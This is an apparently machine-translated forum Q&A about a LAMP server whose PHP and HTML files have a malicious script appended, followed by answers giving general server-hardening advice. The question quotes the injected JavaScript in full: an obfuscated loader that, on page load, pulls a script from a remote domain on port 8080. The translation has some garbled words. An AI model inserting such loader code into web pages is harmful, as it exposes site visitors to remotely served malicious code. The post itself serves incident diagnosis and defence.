LAMP服务器上的恶意脚本

我们最近注意到一个恶意脚本将自己插入到我们的域questoons.com上的许多PHP和HTML文件以及该帐户上托pipe的各种附加域。 该脚本将自身插入到文件末尾,代码如下所示:

<script>/*CODE1*/ try{window.onload = function(){var Q236s4ic4454clw = document.createElement('script');Q236s4ic4454clw.setAttribute('type', 'text/javascript');Q236s4ic4454clw.setAttribute('id', 'myscript1');Q236s4ic4454clw.setAttribute('src', 'h(t)!^t^))p#@:&&/(##/&$#c^$$l^@)(i&(c$^)k))#$s^o$#r!^)^-$$$&c@$o#^m$!#.#&(e((a!!s)(@t)&m((o@^^n!$!e&^&(y$#).#&c$@o$@!$^m(##(.@m@o@(b(^i&#l#!@e@)@&(-(d)&(e^&@(.))@&h)@@@o^^@m!e#&&)s)a#$$l$$#e^@!p^@l&@u#((^s^#@(.$)r$$u(:!$8!$0&$&8)@$0$!)/!o#&@c##@@n(@^!.))n@e@.)&j!@^#$p#/)^@o^c^n)((.()n^)e^$.@!)$j!!^(p#!/@&)c^(l&(a&s(^s@!m^@a($^t#e!#^@)s$.^c^&#o((&m&/)(&@l&()i(@n)(k$@h&e)@$(l)$p^!e)$!$r$#.)&c!&n($@/$g#o^@&o!$$g$^l^&#@e$.&&!c#o@$$m(/$$'.replace(/\(|\!|&|#|\$|\)|@|\^/ig, ''));Q236s4ic4454clw.setAttribute('defer', 'defer');document.body.appendChild(Q236s4ic4454clw);}} catch(e) {}</script> 

请指导如何发生这种情况,我们如何能够阻止它的传播,并防止进一步的感染发生。

感谢和问候,

维纳亚克

脚本代码本身并没有说明它是如何到达那里的 – 更有可能是服务器上运行的软件或者服务器的networking设置让你在那里(例如你使用的内容pipe理系统,论坛软件等,文件服务器function或其他)

没有分析你的日志文件(可能会被改变)和软件(和版本),你没有任何关于这个原因的说法。 关于您未来需要遵循的预防措施:

其中包括:

  • 如果您使用库存组件(开放源代码或封闭源代码),请确保始终拥有最新版本
  • 请订阅您的软件供应商邮件列表,在那里发送有关更新和安全相关问题的通知(也适用于开源项目)
  • 当有安全更新时:尽快更新。
  • 请确保Web服务器正在使用的用户帐户对Web服务器提供的任何目录没有写入权限
  • 使用久经考验的软件,而不是一些随机的示例代码来破解你自己的解决scheme
  • 了解您正在使用的环境中的典型安全问题,以及如何加强服务器免受攻击(例如,php可能允许远程代码在服务器上执行)
  • 在防火墙后面运行您的networking服务器,禁止networking服务器访问networking。
  • 限制对其他服务的访问(如ssh,nfs,samba等)给那些真正需要它们的人

还有更多 – 这是首先想到的。 在这里的答案你真的只能得到第一个想法做什么。 硬化系统的标准程序到处都有logging。 做好准备:这是艰苦的工作。

有许多向量导致文件操作,首先你需要确保提供访问你的文件的软件是最新的(ftp / http / etc),密码有一个很好的复杂性,你的文件有正确的文件系统的权限和所有权,你必须确保在服务器上执行的代码(php为ex)正确地消毒input,监控文件校验和也是一个不错的select。 现在,你已经被破坏了,你一定会更有信心重build服务器,更改所有密码并审核运行在其上的代码。